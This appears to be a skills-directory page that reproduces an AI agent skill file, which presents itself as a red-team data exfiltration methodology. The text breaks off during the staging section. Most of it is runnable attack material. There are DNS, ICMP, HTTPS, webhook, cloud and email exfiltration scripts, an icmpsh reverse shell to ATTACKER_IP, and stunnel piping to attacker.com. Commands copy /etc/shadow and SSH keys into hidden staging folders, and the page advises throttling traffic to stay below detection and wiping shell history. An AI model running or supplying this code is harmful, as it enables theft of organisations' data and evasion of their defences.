Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Redteam Data Exfiltration?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-redteam-data-exfiltration)
---
name: redteam-data-exfiltration
description: Comprehensive data exfiltration methodology for authorized red team operations. Covers every viable extraction channel — DNS tunneling and query-encoded exfil (dnscat2 CNAME mode, iodine EDNS0, dns2tcp, PacketWhisper CNAME stego, custom base32 subdomain encoding with rate shaping), HTTPS transport (domain fronting through Fastly/Azure CDN 2025-2026 status, CDN-routed chisel tunnels, stunnel wrapping), cloud storage dead drops (AWS S3 presigned PUT, Azure Blob SAS, GCS v4 signed URLs with per-chunk rotation), legitimate SaaS service abuse (Slack/Discord/Teams webhooks, Telegram Bot API, GitHub private gists, Google Sheets/Forms endpoints, Pastebin API), ICMP tunneling (icmpsh, ptunnel-ng, raw echo payload embedding with checksum rebuilding), email-based extraction (SMTP relay, Exchange Web Services, Office 365 Graph API, draft-folder dead drops), steganography (LSB image embedding, WAV audio carrier, EXIF metadata packing, PDF custom-property chains, zero-width Unicode text stego
keywords:
- data exfiltration
- DNS exfil
- dnscat2
- iodine
- dns2tcp
- PacketWhisper
- domain fronting
- cloud dead drop
- S3 presigned
- Azure Blob SAS
- ICMP tunnel
- icmpsh
- ptunnel-ng
- steganography
- steghide
- covert channel
- timing channel
- email exfil
- EWS
- draft method
- staging
- DLP bypass
- Slack webhook
- GitHub gist
tools:
- dnscat2
- iodine
- dns2tcp
- PacketWhisper
- chisel
- stunnel
- icmpsh
- ptunnel-ng
- steghide
- zsteg
- OpenStego
- scapy
opsec: high
---
# Offensive Data Exfiltration — Complete Methodology
Moving stolen data out of a target network is the final act of most red team
operations. The extraction channel must survive the organization's perimeter
controls — DLP gateways, proxy inspection, DNS monitoring, and endpoint
telemetry. Choosing the wrong channel burns the engagement; choosing the right
one makes the data appear indistinguishable from normal traffic.
This skill covers every practical exfiltration path, the operational decisions
behind each one, and the staging discipline that keeps the transfer intact and
attributable only to your operation.
---
## Operational Workflow
1. **Catalog the target data.** Enumerate files, database exports, credential
stores, and configuration artifacts. Measure total volume. Identify what
is classified or regulated — this affects what you actually take versus
what you prove you *could* take.
2. **Establish a staging area.** Copy target data into a controlled directory
on the compromised host. Remove unnecessary metadata. Deduplicate.
3. **Compress and partition.** Archive with `tar`/`7z`/`zstd`, then split
into chunks sized for your chosen channel (DNS: ≤60 chars per label;
HTTPS: multi-megabyte tolerant; ICMP: ≤48 bytes per echo payload).
4. **Encrypt everything.** AES-256-GCM or ChaCha20-Poly1305. Never transmit
plaintext. Prepend a random salt and nonce to each chunk.
5. **Pick the channel.** Match available egress to the target's monitoring
posture. DNS when only port 53 is open; HTTPS when web browsing is
allowed; ICMP when ping passes; cloud when SaaS is accessible.
6. **Transmit.** Slow-drip for sustained stealth; burst when you have a brief
window. Rate-match baseline traffic patterns for the chosen protocol.
7. **Confirm receipt.** Recompute SHA-256 at the collection point and compare
against the source-side manifest. Any mismatch means retransmit that chunk.
8. **Destroy staging.** Securely wipe the staging directory, remove dropped
tools, cancel scheduled tasks, and purge shell history entries.
---
## DNS Exfiltration
**MITRE:** T1048.003 — Exfiltration Over Alternative Protocol: DNS
DNS exfiltration works because nearly every network permits outbound DNS
queries, and most organizations inspect DNS traffic superficially if at all.
Data encodes into subdomain labels or record payloads and reconstructs on
your authoritative nameserver.
### Chunk Sizing and Label Constraints
```
# DNS label rules:
# - Each label: max 63 characters
# - Full FQDN: max 253 characters total
# - Subdomain-safe charset: a-z, 0-9, hyphen
# - Base32 encoding is label-safe (no special chars)
# - Base64 is NOT label-safe (uses +, /, =)
#
# Effective payload per query:
# <seq>.<chunk>.<chunk>.data.<yourdomain.com>
# With two 63-char labels: ~126 encoded chars per query
# Base32 decodes to ~78 raw bytes per query
```
### dnscat2 — Full Tunnel
Establishes an encrypted command channel over DNS. Supports file transfer,
port forwarding, and interactive shell. Requires you to control the
authoritative nameserver for a delegated subdomain.
```bash
# Prerequisites: NS record for exfil.yourdomain.com → your_server_ip
# Launch the server
ruby dnscat2.rb exfil.yourdomain.com --secret=[REDACTED]
# Target-side client — standard TXT mode
./dnscat --dns=domain:exfil.yourdomain.com --secret=[REDACTED]
# CNAME mode — avoids TXT-based detection rules
# Many IDS signatures trigger on unusual TXT query volume; CNAME queries
# are far more common in legitimate traffic and attract less scrutiny
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=[REDACTED]
# Server console — file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
download /home/admin/.ssh/id_rsa /tmp/loot/admin_key
```
**OPSEC consideration:** dnscat2 generates a distinctive query pattern —
randomized subdomains under a fixed parent domain. Rate-limit the client
(`--max-retransmits`, `--delay`) to reduce query density.
### iodine — IP-over-DNS Tunnel
Creates a virtual network interface (dns0) that routes TCP/IP traffic
through DNS queries. Higher throughput than dnscat2 because it uses
raw DNS encoding and NULL/CNAME record types.
```bash
# Server — runs as authoritative NS for tunnel.yourdomain.com
iodined -f -c -P OperationKey123 10.0.0.1 tunnel.yourdomain.com
# Client — creates dns0 interface at 10.0.0.2
iodine -f -P OperationKey123 tunnel.yourdomain.com
# EDNS0 for larger payload chunks (increases per-query capacity)
# Default MTU is ~1000 bytes; with EDNS0, up to ~1200 bytes
iodine -f -P OperationKey123 -M 1200 tunnel.yourdomain.com
# File transfer over the tunnel (tcp works normally)
scp -o StrictHostKeyChecking=no /tmp/staged.tar.enc operator@10.0.0.1:/loot/
# Verify tunnel throughput
iperf3 -c 10.0.0.1 -t 10
# Expect 30-100 KB/s depending on DNS resolver latency
```
**OPSEC consideration:** iodine produces NULL record queries by default.
Switch to CNAME (`-T CNAME`) or TXT (`-T TXT`) if the target's resolver
drops NULL queries. Set the `-I` (lazy mode interval) to reduce query rate.
### dns2tcp — TCP-over-DNS
Tunnels arbitrary TCP connections through DNS. Useful for routing SSH
or SOCKS through DNS when other protocols are blocked.
```bash
# Server configuration (/etc/dns2tcpd.conf)
# listen = 0.0.0.0
# port = 53
# domain = exfil.yourdomain.com
# resources = ssh:127.0.0.1:22, socks:127.0.0.1:1080
# key = EngagementAlpha
dns2tcpd -f /etc/dns2tcpd.conf
# Client — bind local port 2222 to remote SSH via DNS tunnel
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1 -k EngagementAlpha
# Exfiltrate through the tunnel
ssh -p 2222 -o StrictHostKeyChecking=no operator@127.0.0.1
# Then SCP, rsync, or any TCP-based transfer over the tunnel
```
### PacketWhisper — Serverless DNS Stego
Exfiltrates data through DNS queries without requiring your own
authoritative nameserver. Encodes data as CNAME lookups to real
domains, then extracts from a PCAP captured on the network path.
```bash
# Transmit mode — target-side
python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1
# Receive mode — reconstruct from captured PCAP
python3 packetwhisper.py --mode receive --file capture.pcap --cipher_num 1
```
This avoids the infrastructure requirement (no NS delegation needed)
but requires you to capture the DNS traffic somewhere on the path —
typically via a network tap or by capturing on a compromised DNS server.
### Custom DNS Encoding Script
When you cannot deploy tooling on the target and need a one-liner or
small script that sends data through DNS queries:
```python
import base64, subprocess, time, random
def dns_exfil(filepath, domain, chunk_size=55, min_delay=5, max_delay=30):
"""
Encode file as base32, split into subdomain-safe chunks,
send as DNS A queries. Receiver reconstructs from query logs.
"""
with open(filepath, 'rb') as f:
raw = f.read()
encoded = base64.b32encode(raw).decode().rstrip('=').lower()
total_chunks = (len(encoded) + chunk_size - 1) // chunk_size
for seq in range(total_chunks):
start = seq * chunk_size
chunk = encoded[start:start + chunk_size]
# Format: <sequence>-<total>.<chunk>.d.<domain>
query = f"{seq:06d}-{total_chunks:06d}.{chunk}.d.{domain}"
try:
subprocess.run(
['nslookup', query, '8.8.8.8'],
capture_output=True, timeout=5
)
except Exception:
pass
# Randomized delay to blend with normal DNS patterns
time.sleep(random.uniform(min_delay, max_delay))
```
```bash
# PowerShell equivalent for Windows targets
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
$domain = "d.yourdomain.com"
$chunks = [regex]::Matches($data, '.{1,60}')
$i = 0
foreach ($chunk in $chunks) {
$q = "$i.$($chunk.Value).$domain"
Resolve-DnsName -Name $q -DnsOnly -ErrorAction SilentlyContinue
Start-Sleep -Milliseconds (Get-Random -Minimum 5000 -Maximum 30000)
$i++
}
```
### DNS Query Rate Management
```
# Detection threshold awareness:
# Normal workstation: 500-2000 DNS queries/hour
# Exfil at 1 query/5s = 720 queries/hour — stays within normal range
# Exfil at 1 query/1s = 3600 queries/hour — exceeds baseline, triggers alerts
#
# Guidelines:
# - Stay under 50% of the host's normal query rate
# - Use A/AAAA record types (most common) over TXT/NULL (unusual)
# - Vary query timing with jitter (not fixed intervals)
# - Mix exfil queries with legitimate DNS lookups
# - Target business hours when DNS volume is highest
```
---
## HTTPS Exfiltration
**MITRE:** T1041 — Exfiltration Over C2 Channel; T1071.001 — Application Layer Protocol: Web
HTTPS is the highest-bandwidth, lowest-suspicion channel when web browsing
is permitted. The challenge is TLS inspection, proxy authentication, and
content-aware DLP at the perimeter.
### stunnel — TLS Wrapper
Wraps any TCP stream in TLS. Use it when you have a raw TCP-based exfil
tool that needs to look like HTTPS traffic.
```bash
# Attacker — listen on 443, forward decrypted to local port 8080
stunnel -d 0.0.0.0:443 -r 127.0.0.1:8080 -p /etc/stunnel/server.pem
# Target — wrap local exfil stream in TLS
stunnel -c -d 127.0.0.1:9090 -r attacker.com:443
cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090
```
### Domain Fronting Through CDN
The outer TLS SNI field shows a legitimate CDN hostname while the inner
HTTP Host header routes to your collection server. Network monitoring sees
traffic to a trusted CDN; the CDN sees and routes the real destination.
```bash
# Azure CDN fronting (Fastly and Azure still permit this in 2025-2026)
# Outer: legitimate-site.azureedge.net
# Inner: your-collection.azureedge.net
curl -s -H "Host: your-collection.azureedge.net" \
--data-binary @/tmp/staged.tar.enc \
https://legitimate-site.azureedge.net/upload
# chisel tunnel routed through CDN
# Server (attacker infrastructure behind CDN)
chisel server --port 443 --reverse --auth operator:EngagementKey
# Client (target — routes through CDN front)
chisel client --header "Host: your-collection.azureedge.net" \
https://legitimate-cdn-domain.com R:socks
# Then: proxychains curl -X PUT -T data.enc http://collector/upload
```
**2025-2026 CDN fronting status:**
| CDN Provider | Fronting Status |
|-----------------|---------------------------------------|
| Azure CDN | Still permits with custom origins |
| Fastly | Permits — most reliable option |
| Cloudflare | Blocked since mid-2023 |
| AWS CloudFront | Blocked since April 2018 |
| Google Cloud CDN| Blocked |
### Legitimate Service Channels
Abuse platforms the target organization already trusts. Traffic to these
domains passes proxy whitelists and DLP without inspection.
**Slack Webhook:**
```bash
# Data in JSON text field — Slack allows up to 40KB per message
curl -s -X POST -H 'Content-type: application/json' \
--data "{\"text\":\"$(base64 -w0 /tmp/chunk_001.enc)\"}" \
https://hooks.slack.com/services/T00/B00/XXX
```
**Discord Webhook:**
```bash
# Discord allows file attachments up to 8MB on free, 50MB on boosted
curl -s -F "file=@/tmp/chunk_001.enc" \
"https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN"
```
**Telegram Bot API:**
```bash
# Up to 50MB file upload
curl -s -F "chat_id=CHAT_ID" -F "document=@/tmp/staged.tar.enc" \
"https://api.telegram.org/botBOT_TOKEN/sendDocument"
```
**Microsoft Teams Incoming Webhook:**
```bash
curl -s -H "Content-Type: application/json" \
--data "{\"text\":\"$(base64 -w0 /tmp/chunk.enc)\"}" \
"https://outlook.office.com/webhook/WEBHOOK_URL"
```
**GitHub Private Gist:**
```python
import requests, base64
def gist_exfil(filepath, github_token):
with open(filepath, 'rb') as f:
data = base64.b64encode(f.read()).decode()
resp = requests.post(
"https://api.github.com/gists",
json={"public": False, "files": {"report.txt": {"content": data}}},
headers={"Authorization": f"token {github_token}"}
)
return resp.json().get("html_url")
```
**Google Forms as Collection Endpoint:**
```bash
# Create a Google Form with a long-answer field
# Extract the form entry ID (e.g., entry.123456)
# POST chunks directly to the form response endpoint
curl -s -d "entry.123456=$(base64 -w0 /tmp/chunk.enc)&fvv=1" \
"https://docs.google.com/forms/d/e/FORM_ID/formResponse"
```
**Google Sheets API:**
```python
# Append exfil data as rows in a Google Sheet
# Requires a service account key with Sheets API access
import gspread
gc = gspread.service_account(filename='sa_key.json')
sh = gc.open_by_key('SHEET_ID')
ws = sh.sheet1
with open('/tmp/chunk.enc', 'rb') as f:
ws.append_row([base64.b64encode(f.read()).decode()])
```
**Pastebin API:**
```powershell
# Windows PowerShell — private paste per chunk
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\chunk.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
api_dev_key = "YOUR_KEY"
api_option = "paste"
api_paste_code = $data
api_paste_private = "2" # 2 = private
api_paste_name = "config_$(Get-Random)"
}
```
### HTTP Header Encoding
Embed data in legitimate-looking HTTP headers to avoid body-level
inspection. Useful when DLP scans request bodies but not custom headers.
```python
import base64, urllib.request, time, random
def header_exfil(filepath, collector_url, chunk_size=256):
with open(filepath, 'rb') as f:
data = f.read()
encoded = base64.b64encode(data).decode()
total = (len(encoded) + chunk_size - 1) // chunk_size
for seq in range(total):
start = seq * chunk_size
chunk = encoded[start:start + chunk_size]
req = urllib.request.Request(collector_url)
req.add_header("X-Request-ID", f"{seq:06d}-{total:06d}")
req.add_header("X-Correlation-Token", chunk)
req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
try:
urllib.request.urlopen(req, timeout=10)
except Exception:
pass
time.sleep(random.uniform(2, 8))
```
---
## ICMP Exfiltration
**MITRE:** T1048.003 — Exfiltration Over Alternative Protocol: Non-Application Layer
ICMP exfiltration works when the target permits outbound ping but blocks
TCP/UDP egress. Bandwidth is extremely limited (typically 30-50 bytes per
echo packet to stay under detection thresholds), making it suitable for
small high-value extractions: passwords, keys, tokens.
### icmpsh — ICMP Reverse Shell
```bash
# Attacker — disable kernel ICMP echo replies to avoid conflicts
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py ATTACKER_IP TARGET_IP
# Target (Windows) — connect back via ICMP
icmpsh.exe -t ATTACKER_IP -d 500 -b 30 -s 128
# -d 500: delay between packets (ms)
# -b 30: blanks before timeout
# -s 128: max payload size (bytes)
```
### ptunnel-ng — TCP-over-ICMP
Creates a full TCP tunnel over ICMP echo/reply packets. Supports
authentication to prevent unauthorized tunnel access.
```bash
# Server (attacker) — proxy ICMP to local SSH
ptunnel-ng -r 0.0.0.0 -R 22 -x EngagementPassword
# Client (target) — bind local 2222 to remote SSH via ICMP
ptunnel-ng -p ATTACKER_IP -l 2222 -r 127.0.0.1 -R 22 -x EngagementPassword
# Transfer files through the tunnel
scp -P 2222 /tmp/staged.tar.enc operator@127.0.0.1:/loot/
```
### Raw ICMP Payload Embedding
When no tooling can be deployed, use a custom script to embed data
directly in ICMP echo payloads.
```python
import struct, socket, time, random
def icmp_exfil(filepath, dest_ip, chunk_size=48, min_delay=1, max_delay=5):
"""
Embed raw data in ICMP echo request payloads.
Receiver captures with: tcpdump -i eth0 'icmp and icmp[0]=8' -w capture.pcap
Extract with: tshark -r capture.pcap -T fields -e data.data | xxd -r -p
"""
with open(filepath, 'rb') as f:
data = f.read()
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
ident = 0x1337
for seq in range(0, len(data), chunk_size):
chunk = data[seq:seq + chunk_size]
# Build ICMP echo request: type=8, code=0
hdr = struct.pack("!BBHHH", 8, 0, 0, ident, seq // chunk_size)
pkt = hdr + chunk
# Compute checksum
s = sum(struct.unpack("!%dH" % (len(pkt) // 2), pkt[:len(pkt) & ~1]))
if len(pkt) % 2:
s += pkt[-1] << 8
s = (s >> 16) + (s & 0xFFFF)
s += s >> 16
hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, ident, seq // chunk_size)
sock.sendto(hdr + chunk, (dest_ip, 0))
time.sleep(random.uniform(min_delay, max_delay))
sock.close()
```
**ICMP payload sizing guidelines:**
| Payload Size | Detection Risk | Throughput | Use Case |
|-------------|----------------|---------------|--------------------------|
| ≤32 bytes | Very low | ~6 bytes/sec | Passwords, single keys |
| 33-64 bytes | Low | ~12 bytes/sec | Small credential files |
| 65-128 bytes| Medium | ~25 bytes/sec | Faster but more visible |
| >128 bytes | High | ~50 bytes/sec | Only when speed critical |
Standard Windows ping sends 32 bytes of data; standard Linux ping sends
56 bytes. Stay within these sizes to blend with legitimate traffic.
---
## Cloud Storage Dead Drops
**MITRE:** T1567.002 — Exfiltration to Cloud Storage
Presigned URLs let you upload data to cloud storage without credentials
on the target host. Generate the URL on your infrastructure, deliver it
to the compromised host, and upload. The target sees outbound HTTPS to
a major cloud provider — rarely blocked.
### AWS S3 Presigned PUT
```python
import boto3, datetime
def generate_s3_upload_url(bucket, key, expiry_hours=2):
"""Generate a time-limited PUT URL for the target to upload to."""
client = boto3.client("s3")
url = client.generate_presigned_url(
"put_object",
Params={"Bucket": bucket, "Key": key},
ExpiresIn=expiry_hours * 3600
)
return url
```
```bash
# Target-side upload — no AWS credentials needed
curl -s -X PUT \
-T /tmp/staged.tar.enc \
"https://exfil-bucket.s3.amazonaws.com/drop/data.enc?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."
```
### Azure Blob SAS Token
```powershell
# Generate SAS token (attacker infrastructure)
$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "KEY"
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "data.enc" `
-Permission w -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
# Target-side upload — no Azure credentials needed
Invoke-RestMethod `
-Uri "https://exfilacct.blob.core.windows.net/drops/data.enc$sas" `
-Method PUT `
-Headers @{"x-ms-blob-type" = "BlockBlob"} `
-InFile "C:\staged\data.enc"
```
### GCS v4 Signed URL
```python
from google.cloud import storage
import datetime
def generate_gcs_upload_url(bucket_name, blob_name, expiry_minutes=60):
blob = storage.Client().bucket(bucket_name).blob(blob_name)
url = blob.generate_signed_url(
version="v4",
method="PUT",
expiration=datetime.timedelta(minutes=expiry_minutes),
content_type="application/octet-stream"
)
return url
```
**Cloud dead drop rotation strategy:**
- Generate a new presigned URL for each chunk (prevents replay/correlation)
- Use different buckets/containers per engagement day
- Set short expiration windows (1-2 hours)
- Delete uploaded objects after retrieval from your collection infrastructure
- Use different cloud providers for different data types (AWS for files,
Azure for creds) to distribute detection surface
---
## Email-Based Exfiltration
**MITRE:** T1048.002 — Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
Email exfiltration leverages existing mail infrastructure. Organizations
expect large volumes of outbound email, making data-carrying attachments
harder to distinguish from legitimate traffic.
### Direct SMTP Relay
Send data as email attachments through the organization's own mail server
or through the compromised user's email account.
```python
import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders
def smtp_exfil(filepath, smtp_server, from_addr, to_addr, password):
msg = MIMEMultipart()
msg["From"] = from_addr
msg["To"] = to_addr
msg["Subject"] = "Q3 Financial Analysis - Updated Figures"
with open(filepath, "rb") as f:
part = MIMEBase("application", "octet-stream")
part.set_payload(f.read())
encoders.encode_base64(part)
part.add_header("Content-Disposition", "attachment; filename=q3_analysis.xlsx")
msg.attach(part)
with smtplib.SMTP_SSL(smtp_server, 465) as server:
server.login(from_addr, password)
server.send_message(msg)
```
### Exchange Web Services (EWS) API
```python
from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
creds = Credentials(email, password)
account = Account(email, credentials=creds, autodiscover=True)
with open(filepath, "rb") as f:
attachment = FileAttachment(name="quarterly_data.xlsx", content=f.read())
msg = Message(
account=account,
subject="Updated Q3 Data — Please Review",
to_recipients=[recipient]
)
msg.attach(attachment)
msg.send()
```
### Office 365 Graph API
```python
import requests, base64
def o365_exfil(filepath, access_token, recipient):
with open(filepath, "rb") as f:
file_bytes = base64.b64encode(f.read()).decode()
payload = {
"message": {
"subject": "Monthly Report Update",
"toRecipients": [{"emailAddress": {"address": recipient}}],
"attachments": [{
"@odata.type": "#microsoft.graph.fileAttachment",
"name": "report.xlsx",
"contentType": "application/octet-stream",
"contentBytes": file_bytes
}]
}
}
requests.post(
"https://graph.microsoft.com/v1.0/me/sendMail",
json=payload,
headers={"Authorization": f"Bearer {access_token}"}
)
```
### Draft-Folder Dead Drop
Store data as email drafts that never transit the network. The attacker
retrieves drafts from the same mailbox using stolen credentials. No
outbound email, no sent-mail audit trail, no SMTP logs.
```python
from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
account = Account(
email,
credentials=Credentials(email, password),
autodiscover=True
)
draft = Message(
account=account,
subject=f"Draft-{hash(data_b64) & 0xFFFF:04x}",
body=data_b64,
is_draft=True
)
draft.save(account.drafts)
# Retrieval: iterate account.drafts folder and extract body content
```
**Draft method advantages:**
- No SMTP transaction — bypasses mail gateway DLP entirely
- No entry in sent items or transport logs
- Data sits in a mailbox the attacker already controls
- Looks like normal draft-saving behavior
### Phishing Infrastructure Reuse
If you already have phishing SMTP infrastructure running (GoPhish,
custom SMTP relay), route exfiltration through the same pipeline.
The domain is already warmed and authenticated. Encode data as
attachments with business-plausible filenames.
---
## Steganography
**MITRE:** T1001.002 — Data Obfuscation: Steganography
Steganography hides data inside carrier files that look legitimate to
visual inspection and content-aware filtering. The carrier passes as
a normal image, audio file, or document.
### Image Steganography
**Tool-based embedding (JPEG/BMP):**
```bash
# steghide — embed in JPEG or BMP carrier
steghide embed -cf vacation_photo.jpg -ef secret.enc -p "StegKey2026" -f
steghide extract -sf vacation_photo.jpg -p "StegKey2026" -xf recovered.enc
# Capacity check
steghide info vacation_photo.jpg
```
**Tool-based embedding (PNG):**
```bash
# zsteg — analyze PNG for hidden data
zsteg suspicious.png
# OpenStego — embed in PNG
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Password"
openstego extract -sf stego.png -xd /tmp/extracted -p "Password"
```
**Custom LSB embedding (Python):**
```python
from PIL import Image
import struct
def lsb_embed(cover_path, data, output_path):
"""Embed data in least-significant bits of pixel channels."""
img = Image.open(cover_path)
pixels = list(img.getdata())
# Prepend data length for extraction
payload = struct.pack(">I", len(data)) + data
bits = []
for byte in payload:
for i in range(7, -1, -1):
bits.append((byte >> i) & 1)
capacity = len(pixels) * 3 # 3 channels per pixel (RGB)
if len(bits) > capacity:
raise ValueError(f"Payload ({len(data)} bytes) exceeds carrier capacity ({capacity // 8} bytes)")
idx = 0
new_pixels = []
for px in pixels:
channels = list(px)
for c in range(min(3, len(channels))):
if idx < len(bits):
channels[c] = (channels[c] & 0xFE) | bits[idx]
idx += 1
new_pixels.append(tuple(channels))
out = Image.new(img.mode, img.size)
out.putdata(new_pixels)
out.save(output_path)
def lsb_extract(stego_path):
"""Extract embedded data from LSB-encoded image."""
img = Image.open(stego_path)
pixels = list(img.getdata())
bits = []
for px in pixels:
for c in range(min(3, len(px))):
bits.append(px[c] & 1)
# Read length prefix (first 32 bits)
length_bits = bits[:32]
length = 0
for b in length_bits:
length = (length << 1) | b
# Read data
data_bits = bits[32:32 + length * 8]
data = bytearray()
for i in range(0, len(data_bits), 8):
byte = 0
for b in data_bits[i:i+8]:
byte = (byte << 1) | b
data.append(byte)
return bytes(data)
```
### Audio Steganography
```python
import wave, struct
def wav_lsb_embed(cover_wav, data, output_wav):
"""Embed data in least-significant bits of WAV audio samples."""
with wave.open(cover_wav, "rb") as w:
params = w.getparams()
frames = bytearray(w.readframes(w.getnframes()))
payload = struct.pack(">I", len(data)) + data
bits = []
for byte in payload:
for i in range(7, -1, -1):
bits.append((byte >> i) & 1)
if len(bits) > len(frames):
raise ValueError("Payload exceeds audio capacity")
for i, bit in enumerate(bits):
frames[i] = (frames[i] & 0xFE) | bit
with wave.open(output_wav, "wb") as w:
w.setparams(params)
w.writeframes(bytes(frames))
```
### Document Metadata Steganography
```bash
# EXIF comment embedding
exiftool -Comment="$(base64 -w0 secret.enc)" carrier_photo.jpg
# Multiple EXIF fields for larger payloads
exiftool -UserComment="$(base64 -w0 chunk1.enc)" \
-ImageDescription="$(base64 -w0 chunk2.enc)" \
-Copyright="$(base64 -w0 chunk3.enc)" carrier.jpg
# JPEG append — data after FFD9 end marker
cat carrier.jpg secret.enc > output.jpg
# Image renders normally; tail data invisible to viewers
```
```python
# PDF metadata steganography — distribute data across custom properties
from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
reader = PdfReader(pdf_path)
writer = PdfWriter()
for page in reader.pages:
writer.add_page(page)
# Distribute across multiple custom metadata keys
chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
metadata = {f"/XRef{i:04d}": c for i, c in enumerate(chunks)}
writer.add_metadata(metadata)
with open(output_path, "wb") as f:
writer.write(f)
```
### Zero-Width Unicode Text Steganography
Hide data in plain-text documents using invisible Unicode characters.
Useful for embedding data in emails, chat messages, or document body text.
```python
def text_stego_embed(cover_text, data):
"""
Encode data as zero-width Unicode characters inserted between
visible characters in the cover text.
Uses: U+200B (zero-width space), U+200C (zero-width non-joiner)
"""
bits = []
for byte in data:
for i in range(7, -1, -1):
bits.append((byte >> i) & 1)
stego_chars = []
bit_idx = 0
for char in cover_text:
stego_chars.append(char)
if bit_idx < len(bits):
# 0 = U+200B, 1 = U+200C
stego_chars.append('\u200b' if bits[bit_idx] == 0 else '\u200c')
bit_idx += 1
return ''.join(stego_chars)
```
### Network Protocol Field Steganography
Embed data in normally-unused or low-scrutiny protocol header fields.
```python
from scapy.all import IP, TCP, send
def tcp_seq_stego(data, dest_ip, dest_port=80):
"""Encode one byte per packet in TCP initial sequence number."""
for i, byte in enumerate(data):
# Encode byte in lower 8 bits of ISN; upper bits random
isn = (0xDEAD0000 | (i << 8) | byte)
send(IP(dst=dest_ip) / TCP(dport=dest_port, sport=12345+i,
seq=isn, flags="S"), verbose=False)
def ip_id_stego(data, dest_ip, dest_port=80):
"""Encode one byte per packet in IP Identification field."""
for i, byte in enumerate(data):
send(IP(dst=dest_ip, id=(i << 8 | byte)) /
TCP(dport=dest_port, sport=12345+i, flags="S"), verbose=False)
def ttl_stego(data, dest_ip, dest_port=80):
"""Encode data in TTL field variations. Receiver computes delta from baseline TTL."""
baseline_ttl = 128
for i, byte in enumerate(data):
ttl_val = baseline_ttl - (byte % 30) # Stay in plausible TTL range
send(IP(dst=dest_ip, ttl=ttl_val) /
TCP(dport=dest_port, sport=12345+i, flags="S"), verbose=False)
```
---
## Covert Channels
### HTTP/2 Priority Frame Tunneling
HTTP/2 PRIORITY frames are lightweight control frames that most network
inspection tools ignore. Data encodes in the stream dependency and weight
fields.
```python
# Conceptual — requires HTTP/2 library with raw frame access
# Each PRIORITY frame carries: stream dependency (31 bits) + weight (8 bits)
# = 39 bits of data per frame, invisible to most DPI
```
### WebSocket Binary Frame Exfiltration
If the target application uses WebSockets, inject binary data into
legitimate-looking WebSocket frames.
```javascript
// Browser-based exfil through existing WebSocket connection
const ws = new WebSocket("wss://target.com/ws");
ws.onopen = () => {
const data = new TextEncoder().encode(btoa(sensitiveData));
ws.send(data); // Binary frame blends with normal WS traffic
};
```
### Timing Channels
Encode bits in the inter-packet delay. A short delay encodes 0; a long
delay encodes 1. Near-undetectable but extremely slow (bits per second).
```python
import time, socket
def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
"""
Bit encoding: 0 = short delay (bit_time), 1 = long delay (2 * bit_time)
Throughput: ~5-10 bits/second
Use for: encryption keys, passwords only
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dest_ip, dest_port))
for byte in data:
for i in range(7, -1, -1):
bit = (byte >> i) & 1
delay = bit_time * 2 if bit == 1 else bit_time
time.sleep(delay)
sock.send(b"\x00") # Trigger packet for timing measurement
sock.close()
```
### NTP Extension Field Exfiltration
NTP packets with extension fields pass through most firewalls. The
extension field can carry arbitrary data that NTP servers typically ignore.
```python
from scapy.all import IP, UDP, NTP, Raw, send
def ntp_exfil(data, ntp_server, chunk_size=64):
"""Embed data in NTP packets with extension field payload."""
for i in range(0, len(data), chunk_size):
chunk = data[i:i+chunk_size]
pkt = IP(dst=ntp_server) / UDP(dport=123) / NTP() / Raw(load=chunk)
send(pkt, verbose=False)
```
### DHCP Option Abuse
Encode data in DHCP option fields. Useful on internal networks where
DHCP traffic is unmonitored.
### LLMNR/NBNS Notification Channel
Use LLMNR or NBNS queries to signal data availability to an attacker on
the same network segment. Not for bulk transfer — signaling only.
---
## Data Staging and Preparation
**MITRE:** T1074.001 — Local Data Staging; T1029 — Scheduled Transfer
### Linux Staging Pipeline
```bash
# Create covert staging directory
mkdir -p /tmp/.X11-unix/.cache
# Collect target data
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.X11-unix/.cache/ 2>/dev/null
find /opt -name "*.conf" -exec grep -l "password" {} \; -exec cp {} /tmp/.X11-unix/.cache/ \;
# Compress with maximum compression
tar cf - -C /tmp/.X11-unix/.cache . | zstd -19 -o /tmp/.X11-unix/.cache/pkg.zst
# Encrypt
openssl enc -aes-256-gcm -salt -pbkdf2 -iter 100000 \
-in /tmp/.X11-unix/.cache/pkg.zst \
-out /tmp/.X11-unix/.cache/pkg.enc \
-pass pass:EngagementKey2026
# Split into channel-sized chunks
split -b 65536 -d /tmp/.X11-unix/.cache/pkg.enc /tmp/.X11-unix/.cache/chunk_
# Generate integrity manifest
